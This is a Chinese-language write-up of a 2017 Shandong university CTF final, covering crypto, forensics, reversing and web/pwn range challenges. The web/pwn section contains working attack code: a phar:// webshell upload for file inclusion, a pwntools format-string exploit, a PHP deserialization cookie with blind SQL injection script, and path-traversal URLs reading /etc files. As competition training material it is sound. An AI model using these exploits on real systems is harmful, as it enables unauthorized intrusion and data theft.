欢迎来到山东省大学生网络安全技能大赛!
首页 > 竞赛资讯

“中孚信息杯”第六届山东省大学生网络安全技能大赛决赛WriteUp

发布人:admin 发布时间:2017-11-9 浏览数:2918

“中孚信息杯”第六届山东省大学生网络安全技能大赛决赛Writeup

技能分析题

1.小明的密码

97年出生的小明用自己的生日作为自己网站的密码,现在,得到一串被篡改过一个字符的字符串,你能解出小明的生日吗?

0175501585710a89h5a60dc9ed2f88d7

解题脚本:

import hashlib

s = '0175501585710a89h5a60dc9ed2f88d7'
for day in range(1, 32):
    for month in range(1, 13):
        birth = '1997%02d%02d' % (month, day)
        m = hashlib.md5()
        m.update(birth)
        md5 = m.hexdigest()
        if s[:10] in md5:
            print md5
            print birth

2.仿射加密

已知仿射加密变换为c=(11m+7)mod26,试对密文dikxourxd解密

解题脚本:

a = 'dikxourxd'
a1=[]
for i in a:
    a2 = ord(i)-97
    a1.append(a2)
print a1
for i in a1:
    for j in range(0,26):
        c = (11*j+7)%26
        if(c==i):
            print chr(j+97),

3.黑客的机密信息

黑客通过webshell往Web服务器写入了一串机密信息,你能找出机密信息吗?

解题思路

首先分析流量包,过滤http请求,在数据包末端发现shell.php,利用Wireshark的filter过滤出带有shell.php的流量,http contains "shell.php"

利用一句话执行的命令都经过base64编码,不能直接搜索到flag关键词。

追踪http数据流

base64解密action变量的值发现flag

4.远控木马

某次应急响应时,工程师发现一个远控木马的客户端程序,请分析该远程控制木马的控制端IP及端口号。

解题思路

客户端木马的上线地址经过了加密,可以逆向查看算法。

也可以直接在虚拟机里运行,netstat -ano查看网络连接状况,即可得到答案。

5.人生苦短

解题思路

wireshark打开数据包,导出http数据

发现存在多个flag文件,flagaa-f为单独的文件。利用Linux下的cat命令(或者Python编程)组合成一个文件。发现是zip文件,添加zip后缀,之后的考察点是伪加密。解密之后得到flag的图片。

6.神奇的图片

两个文件有什么不一样吗?

解题思路

查看一下两个文件,发现其中一个为png图片,WinHex查看之后,发现其中一个文件的头部做了修改。

根据文件名提示,xor,将两个文件的头部进行异或运算。

代码如下:

def xor(str1, str2):
    return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(str1,str2))


if __name__ == '__main__':

    for i in range(20):
        #png_1 = open(sys.argv[1], "rb").read(i)
        png_1 = open("xor.png", "rb").read(i)
        png_2 = open("flag.png", "rb").read(i)
        key = xor(png_1, png_2)

        print key

7.Web漏洞

黑客利用漏洞从Web系统中窃取了什么机密信息?

解题思路:

打开查看是Apache日志,查找flag关键词,发现是通过延时盲注读取了flag表的内容。写代码解决问题。urldecode之后,可发现对每个字符猜解的最后一个数据包当中用!=做判断。利用正则过滤出正确猜解的字符的ascii。第一条为查询数据的条数,后面为flag表的内容。

import urllib
import re


flag = ''
flag_list = []

with open('access.log', 'r') as file:
    #print file.read()
    line_lists = file.readlines()
    #print len(line_lists)
    flag_lines = []
    for i in line_lists:
        if 'flag' in i:
            flag_lines.append(i)
    #print len(flag_lines)


    for i in flag_lines:
        s = i.split(" ")[6]
        s=urllib.unquote(s)
        if '!=' in s :
            print s
            p = re.compile(r'!=[1-9]\d*')
            flag = flag + chr(int(p.findall(s)[0].replace('!=','')))

print flag

8.终端的老东西

奇奇怪怪的东西在终端里面显示会有什么特殊效果吗?

附件:console.pcap

答案格式改为:flag{*******}

获取到flag后,请自行更改提交格式。

解题思路

Wireshark分析,跟踪TCP数据流。

观察可知类似于利用ANSI代码终端转义的代码,可以利用Wireshark导出这些字符。将以上字符保存成一个文件。然后使用cat命令读取即可看到代码在终端显示的效果。

也可以使用tshark命令:

tshark -T fields -e data -r console.pcap | xxd -r -p

有奇效哦~ :)

9.颜文字

(ノ`Д)ノ

解题思路

文本的最后一段颜文字,是js的aaencode。复制到浏览器的控制台运行即可。

10.磁盘镜像

磁盘里藏着flag

解题思路

dmg文件挂载查看,或直接foremost分离。

11.gakki

解题思路

图片格式是png,在png图片的文件头后跟着的IHDR数据块的前8byte数据是标志png图片的长宽的,如下所示:

用十六进制编辑器打开gakki图片之后查看标志位如下所示:

转换一下十六进制可得:

然后我们修改图片的高度标志位:0x31e->0x51e

保存后再次打开图片即可得到flag:

12.hacker

解题思路

lsb隐写

使用图片隐写工具stegsolver.jar打开文件,查看png颜色通道最低位,可看到一个二维码,扫描即可得到flag

13.神奇的二维码

解题思路

打开文件看到是颜色代码,一共78400行,一行代表一个像素点,也就是说,这张图片一共有78400个像素,分解78400,是280的平方,编写代码将像素点写成图片,代码如下:

from PIL import Image

pic = Image.new("RGB",(280, 280))
fo = open("flag.txt","r")
pics = []
i=0
while True:
    if i == 78400:
        break
    a = fo.readline()
    pics.append(a)
    i = i + 1
str = ""
i=0
for y in range (0,280):
    for x in range (0,280):
        s = pics[i].split(',')
        pic.putpixel([y,x],(int(s[0]), int(s[1]), int(s[2])))
        i = i+1

pic.show()
pic.save("flag3.png")

扫描获得一串base32:

然后进行base32解密 -> 9栏栅栏解密 -> rot13得到flag:

14.base家族

解题思路

base64和base32混合加密,多次混合,编写代码解决,也可以手撕。代码如下:

#coding:utf-8
import base64

fb = open('base.txt','r')
txt = fb.readlines()[0]
while True:
    try:
        txt = base64.b32decode(txt)
    except:
        txt = base64.b64decode(txt)
    finally:
        print txt

15.rsa1

解题思路

openssl解rsa

先用rsactftool去用公钥计算私钥

python RsaCtfTool.py --publickey ~/Desktop/pub.key --private > priv.key

然后用ssl解密

openssl rsautl -decrypt -inkey pri.key -in enc1 -out text

16.rsa2

解题思路

共享素数攻击 脚本:

def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def n2s(n):
    s=hex(n)[2:-1]
    if len(s)%2!=0:
        s='0'+s
    return s.decode('hex')

n4=18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
n5=20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
c4=0x8C3CF3161AA3E37831030985C60566A7604688B73E5B1D3B36E72EF06ED4F71289EFE80E0D94BD755034E6C210F17DA85B9D0388F3AD104C68BC514A8EB1569A109EB5F266F7C5FA4DDFA638258949B43D4CF1406720CCD4CA11E74FDF8AEB35C56A79781C87157FC4213573329C5B0FF411F8A4F34580AA103DB9FD403C0D409FA11860A7C4595FDC49DC2CF94E5112B772E5DEC8F17E24B10A7FD7A95DCB87BE5E27C32FC931574A7847BC506A61EFE9DB3D3F612143845FE80D7B3EA548B886A67A29CBDB2775B1F91178B6DA763F1A6ECFF46592E4C7FFAAB6C9FEF29D9CB9E035A3D98ECFFB26BA2EEAA56D1CD096E6A2CF9A58086CAD7718DDA5CB0C1B
e=65537

p4=gcd(n4,n5)
print "p4",p4
q4=n4/p4
q5=n5/p4
# print "q4",q4
# print "q5",q5
phi=(p4-1)*(q5-1)
d4=modinv(e,phi)
print "d4",d4
m=pow(c4,d4,n5)
print "m=%s"%m
print "flag is",n2s(int(m))

17.时光机 - Mobile

解题思路

jeb反编译后得到如下代码

    public MainActivity() {
        super();
        this.beg = (((int)(System.currentTimeMillis() / 1000))) + 200000;
        this.k = 0;
        this.t = 0;
    }

    public static boolean is2(int arg4) {
        boolean v1 = true;
        if(arg4 > 3) {
            if(arg4 % 2 != 0 && arg4 % 3 != 0) {
                int v0 = 5;
                while(true) {
                    if(v0 * v0 <= arg4) {
                        if(arg4 % v0 != 0 && arg4 % (v0 + 2) != 0) {
                            v0 += 6;
                            continue;
                        }

                        return false;
                    }
                    else {
                        return v1;
                    }
                }

                return false;
            }

            v1 = false;
        }
        else if(arg4 <= 1) {
            v1 = false;
        }

        return v1;
    }

    protected void onCreate(Bundle arg7) {
        super.onCreate(arg7);
        this.setContentView(2130968600);
        View v2 = this.findViewById(2131492944);
        View v3 = this.findViewById(2131492945);
        Handler v0 = new Handler();
        v0.postDelayed(new Runnable(((TextView)v3), ((TextView)v2), v0) {
            public void run() {
                MainActivity.this.t = System.currentTimeMillis();
                MainActivity.this.now = ((int)(MainActivity.this.t / 1000));
                MainActivity.this.t = 1500 - MainActivity.this.t % 1000;
                this.val$tv2.setText("山东省大学生网络安全技能大赛");
                if(MainActivity.this.beg - MainActivity.this.now <= 0) {
                    this.val$tv1.setText("The flag is:");
                    this.val$tv2.setText("flag{" + MainActivity.this.stringFromJNI2(MainActivity.this.k) + "}");
                }

                if(MainActivity.is2(MainActivity.this.beg - MainActivity.this.now)) {
                    MainActivity.this.k += 100;
                }
                else {
                    --MainActivity.this.k;
                }

                this.val$tv1.setText("Time Remaining(s):" + (MainActivity.this.beg - MainActivity.this.now));
                this.val$handler.postDelayed(((Runnable)this), MainActivity.this.t);
            }
        }, 0);
    }

分析逻辑可判断得到,从0到20万递增,k值如果是素数,则k+100,反之则k减1. 每次延迟时间有1秒左右,等20万个1秒,差不多是55小时,大约2天半。

两种做题方法,一种是重打包,使得间隔更短,能在几分种内跑完。

另一种是,分析代码得出,得到判断逻辑,通过脚本得到20万次后的k值

def judgePrime(n):
    if n <=1: return False
    i = 2
    while i*i <= n:
        if n%i == 0 : return False
        i += 1
    return True

k=0
for i in range(200000):
    if is2(i):
        k+=100
    else:
        k = k-1

print k

得到k=0x18aa00。

重写代码,将k值送给native函数stringFromJNI2,得到flag为flag{Y0vAr3TimerMacter}

18.badusb - Re

出题思路

Arduino平台,制作badusb的方法出的题目,本来是用leonardo板或macro板通过模拟键盘的方式实现badusb。这里直接提取elf文件作为逆向。

解题思路

直接拉到ida里。定位到main函数。关注几个Keyboard相关的函数即可

.text:00000A14                                                                                 loc_A14:                                ; CODE XREF: main+7A↓j
.text:00000A14 B409                                                                                            in      r0, 0x29
.text:00000A15 FE00                                                                                            sbrs    r0, 0
.text:00000A16 CFFD                                                                                            rjmp    loc_A14
.text:00000A17 E061                                                                                            ldi     r22, 1
.text:00000A18 E070                                                                                            ldi     r23, 0
.text:00000A19 E080                                                                                            ldi     r24, 0
.text:00000A1A E090                                                                                            ldi     r25, 0
.text:00000A1B 940E 02EF                                                                                       call    delay
.text:00000A1D 9180 00D8                                                                                       lds     r24, loc_D8
.text:00000A1F 7C8F                                                                                            andi    r24, 0xCF
.text:00000A20 6180                                                                                            ori     r24, 0x10
.text:00000A21 9380 00D8                                                                                       sts     loc_D8, r24
.text:00000A23 9180 00E0                                                                                       lds     r24, loc_E0
.text:00000A25 7F80                                                                                            andi    r24, 0xF0
.text:00000A26 9380 00E0                                                                                       sts     loc_E0, r24
.text:00000A28 9180 00E1                                                                                       lds     r24, loc_E1
.text:00000A2A 7E8E                                                                                            andi    r24, 0xEE
.text:00000A2B 9380 00E1                                                                                       sts     loc_E1, r24
.text:00000A2D E08D                                                                                            ldi     r24, 0xD
.text:00000A2E 9380 00E2                                                                                       sts     loc_E2, r24
.text:00000A30 9A55                                                                                            sbi     0xA, 5
.text:00000A31 9A20                                                                                            sbi     4, 0
.text:00000A32 EFEE                                                                                            ldi     r30, 0xFE
.text:00000A33 E7FF                                                                                            ldi     r31, 0x7F
.text:00000A34 9185                                                                                            lpm     r24, Z+
.text:00000A35 9194                                                                                            lpm     r25, Z
.text:00000A36 3F8B                                                                                            cpi     r24, 0xFB
.text:00000A37 4D9C                                                                                            sbci    r25, -0x24
.text:00000A38 F419                                                                                            brne    loc_A3C
.text:00000A39 E081                                                                                            ldi     r24, 1
.text:00000A3A 9380 01BB                                                                                       sts     _ZL11SendControlh+1, r24 ; SendControl(uchar)
.text:00000A3C
.text:00000A3C                                                                                 loc_A3C:                                ; CODE XREF: main+9C↑j
.text:00000A3C EB68                                                                                            ldi     r22, 0xB8
.text:00000A3D E07B                                                                                            ldi     r23, 0xB
.text:00000A3E E080                                                                                            ldi     r24, 0
.text:00000A3F E090                                                                                            ldi     r25, 0
.text:00000A40 940E 02EF                                                                                       call    delay
.text:00000A42 E863                                                                                            ldi     r22, 0x83       ;  KEY_LEFT_GUI  按下win+r
.text:00000A43 E18E                                                                                            ldi     r24, 0x1E
.text:00000A44 E092                                                                                            ldi     r25, 2
.text:00000A45 940E 05B7                                                                                       call    _ZN9Keyboard_5pressEh ; Keyboard_::press(uchar)
.text:00000A47 EF64                                                                                            ldi     r22, 0xF4
.text:00000A48 E071                                                                                            ldi     r23, 1
.text:00000A49 E080                                                                                            ldi     r24, 0
.text:00000A4A E090                                                                                            ldi     r25, 0
.text:00000A4B 940E 02EF                                                                                       call    delay
.text:00000A4D E762                                                                                            ldi     r22, 0x72 ; 'r'
.text:00000A4E E18E                                                                                            ldi     r24, 0x1E
.text:00000A4F E092                                                                                            ldi     r25, 2
.text:00000A50 940E 05B7                                                                                       call    _ZN9Keyboard_5pressEh ; Keyboard_::press(uchar)
.text:00000A52 EF64                                                                                            ldi     r22, 0xF4
.text:00000A53 E071                                                                                            ldi     r23, 1
.text:00000A54 E080                                                                                            ldi     r24, 0
.text:00000A55 E090                                                                                            ldi     r25, 0
.text:00000A56 940E 02EF                                                                                       call    delay
.text:00000A58 E863                                                                                            ldi     r22, 0x83
.text:00000A59 E18E                                                                                            ldi     r24, 0x1E
.text:00000A5A E092                                                                                            ldi     r25, 2
.text:00000A5B 940E 056E                                                                                       call    _ZN9Keyboard_7releaseEh ; 釋放win+r
.text:00000A5D E762                                                                                            ldi     r22, 0x72 ; 'r'
.text:00000A5E E18E                                                                                            ldi     r24, 0x1E
.text:00000A5F E092                                                                                            ldi     r25, 2
.text:00000A60 940E 056E                                                                                       call    _ZN9Keyboard_7releaseEh ; Keyboard_::release(uchar)

http://www.arduino.cn/thread-21472-1-1.html

参考按键码,即可分析出按键的大体流程,具体看idb文件。

大体就是通过win+r 输入calc 然后输入

3*7*19*79*1741*2551191531523*13338145776217*5776181153942561322068791920673427

*是模拟键盘shift +8输入的。

print (format(3*7*19*79*1741*2551191531523*13338145776217*5776181153942561322068791920673427,'x').decode('hex'))

得到flag

flag{aaaaaaaarduino_for_fun}

19.拍苍蝇 - Re

出题思路

MFC消息处理机制,逆向关键点捕获。在初始化的时候,将数据初始化,每只苍蝇带有一个字符信息,当把所有苍蝇打死的时候,游戏结束,并将消息弹出。

1、正常玩游戏是无法将所有苍蝇打死的,里面打苍蝇的难度会提升,当打死苍蝇越多时,苍蝇越狡猾,通过捕获鼠标位置来觉得苍蝇是否移动。

2、通过修改代码,作弊打死完苍蝇,弹出的消息不是按顺序的,所以弹出的消息不完整,需要根据这个信息,逆向消息产生的原因,从而追溯出原始信息的位置,根据处理结果还原出原始信息。

解题思路

首先玩游戏,发现点击苍蝇后拍死后,会生成更多的苍蝇,在MFC中,一般这种动作效果都会设置定时器来进行,因此首先锁定Timer处理函数(KillTimer,游戏结束一般调用此函数)。如下:


大部分都是MFC自带的时间处理机制,只有前两个函数是自定义的,分别是:0x4025D0、0x404230,这两处都是消息处理函数。

在函数0x4025D0中,从代码可以看出,会由MessageBox弹框如下:(其实可以根据success字符串来定位更快)


显示的信息是又如下代码生成:

其中的值是*(*(this+39)+4*i)+220处的值。在函数0x404230中的0x403900函数中,有对应设置,如下:

其中会根据窗口的位置设置相应的信息,如下:

通过总结,发现获取的信息为:

0x53694273、0x1F4D1E74、0x4A1C434C、0x4F6A454E、0x4C7A5E78、0xE0F467D分别与0x29292929、0x28282828、0x27272727、0x26262626、0x25252525、0x24242424

进行异或的值,而且显示之前与index进行了异或,因此还原算法如下:

p_v = [0]*6

p_v[0] = 0x53694273

p_v[1] = 0x1f4d1e74

p_v[2] = 0x4a1c434c

p_v[3] = 0x4f6a454e

p_v[4] = 0x4c7a5e78

p_v[5] = 0xe0f467d

val_xor_list = []

for i in range(7):

print hex(0x29292929-i*0x01010101)

val_xor_list.append(0x29292929-i*0x01010101)

data = ""

for i, item in enumerate(p_v):

buff = p32(item\^val_xor_list[i])

for j, each in enumerate(buff):

data += chr(ord(each)\^(j + 4*i))

值为ZjByX3c0cm1fdnBfMjMzMw==,

通过base64解码得flag:f0r_w4rm_vp_2333

网络靶场题

rotB - 铜牌Web

解题思路

  1. 查看网页源码,发现二进制字符串,通过编程将二进制转换为字符串,然后进行base32解码。

  2. 解码后的字符串再进行ROT13解密。

  3. 解密后直接获得username和password。

  4. 登陆后即可获得flag。

解题脚本

str1 = "01001001 00110101 00110010 01011000 01000101 01001001 01000100 01001001 01001101 01011010 01011010 01000111 01001011 01011001 01001100 01001111 01010000 01001010 01011010 01000011 01000001 00110011 01010100 01000010 01001111 01000101 01010001 01000111 01000111 00110011 01010100 01000111 01001101 01011010 01010110 01000111 01000101 01011010 01001100 01010010 01000101 01000010 01010111 01000111 01000101 00110010 01000010 01000001 01001111 01000010 01011000 01000111 01000011 01001001 01000100 01001000 01001101 01010110 01010111 01000011 01000001 01010111 01001100 01001111 01001101 01011001 01010001 01000101 01010011 00110100 01010100 01010101 01001110 01011010 01010100 01000011 01000001 00110011 01010100 01000010 01001111 01000101 01010001 01000101 00110100 00110110 01010100 01000111 01001101 00110101 01011010 01000111 01001011 00110100 01001100 01001111 01010000 01001001"
hx = ''.join([chr(i) for i in [int(b, 2) for b in str1.split(' ')]])
print hx
b32 = base64.b32decode(hx + '======')
print b32
rot = b32.decode('rot13')
print rot

lfi - 铜牌Web

解题思路

  1. 本地写一句话shell.php再把shell.php压缩成shell.zip再把该文件重命名为shell.png

  2. 上传该文件后,利用pha伪协议,通过访问ip:port/index.php?poj=phar://uploads/d63aa7a541c42029bf172bcfdf7716b3726cedaf.png/shell即可解析一句话

key - 铜牌PWN

解题思路

简单格式化字符串漏洞 进IDA,F5一下,

if(key == 0x02223322) { system("/bin/cat flag");

objdump找一下

#objdump -t Laaa | grep "key"
0804a030 g     O .bss   00000004              xman

在汇编中找到0x02223322,对栈中的数据进行计算

0x22=34
0x33=51
0x222=546

34-16=18
51-34=17
546-51=495

exp:

from pwn import *

context.log_level=True

r = remote("localhost",9999)
addr1="\x30\xa0\x04\x08"
addr2="\x31\xa0\x04\x08"
addr3="\x32\xa0\x04\x08"
addr4="\x33\xa0\x04\x08"
format1="%18x"
format2="%12$n"
format3="%17x"
format4="%13$n"
format5="%495x"
format6="%14$n"

r.sendline(addr1+addr2+addr3+addr4+format1+format2+format3+format4+format5+format6)
print r.recvall()

Yes you see it - 银牌Web

user.class.php中存在反序列化函数直接接受用户输入。

function __construct() {
    ......
        if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
            $u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
            $this->login($u['email'], $u['password']);
        }
    }

login()函数过滤不严格,email参数可使用非str类型绕过。由于User类具备魔术方法__toString()所以可以被充当为字符串使用,由此可以绕过注入的保护。

再利用login()中的布尔注入漏洞,即可获得Flag。

function login($email, $password, $remember = false, $loadUser = true)
    {
        $email  = $this->escape($email);
        $originalPassword = $password;
        $password = md5($password);
        $sql = "SELECT * FROM `{$this->dbTable}` 
            WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1";
        $res = $this->query($sql, __LINE__);
        
        ......
    }

解题脚本

import requests
import base64
import random
import string

url = "http://[target_ip]/index.php"

'''
    a:2:{s:5:"email";O:4:"User":10:{s:7:"dbTable";s:5:"users";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";s:5:"hello";s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}s:8:"password";s:0:"";}
'''
def get_serialized_cookie(offset, index):
    sql = "'UNION select * from `users` where userID=1 AND (select ascii(substring(flag,{},1))={} from flag) -- a".format(offset, index)

    serialized = ('''a:2:{s:5:"email";O:4:"User":10:{s:7:"dbTable";s:5:"users";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";s:''' 
        + str(len(sql)) 
        + ''':"''' 
        + sql 
        + '''";s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}s:8:"password";s:0:"";}''')
    return serialized



flag = []

def try_once(offset, index):
    # print(get_serialized_cookie(index))
    random_sessid = "".join([random.choice(string.ascii_letters + string.digits) for x in range(8)])
    # print(base64.b64encode(get_serialized_cookie(offset, index).encode()).decode())
    cookies = dict(ckSavePass=base64.b64encode(get_serialized_cookie(offset, index).encode()).decode(),
                   PHPSESSID="qvrit68u961b9b1j81" + random_sessid)
    # print(cookies)
    r = requests.get(url, cookies=cookies)
    if r.text.find("Yes you see it.") != -1:
        flag.append(chr(index))
        print("".join(flag))
        return index

for i in range(100):
    for j in range(128):
        if try_once(i+1, j):
            print(i, j)
            break

网站建设中 - 银牌Web

解题思路

  1. 系统登录

    查看网站发现网站处于建设中无法登录,并且根据robots.txt能发现flag.php

    不过可以注意到cookie中存在isLogin=0,设置cookie,isLogin=1,发现成功登录

  2. 文件包含

    登陆成功后,发现一个管理页面admin/admin.php?module=index&name=php,推测存在文件包含,可以发现存在过滤,不过可以绕过,访问admin/admin.php?module=....//....//....//....//....//....//....//etc/issue&name=可以成功包含文件

    不过尝试flag.php会发现是文件包含,不能显示源代码,伪协议也无法使用

  3. 审计Nginx配置文件

    通过信息收集发现Web容器是Nginx,读取nginx配置文件admin/admin.php?module=....//....//....//....//....//....//....//etc/nginx/sites-enabled/default&name=

    可以发现配置文件中存在问题

    存在一个location是/online-music,使用alias指向了/music/,不过location的后面没有/,alias的后面有斜杠,存在隐患。

    访问/online-music../,发现列出了根目录

    由于这个location不解析php,访问/online-music../usr/share/nginx/html/flag.php获得flag

Tips:决赛参赛选手可加入官方QQ群(415964984)进行技术交流及解题思路分享,申请入群请填写单位/院校及姓名。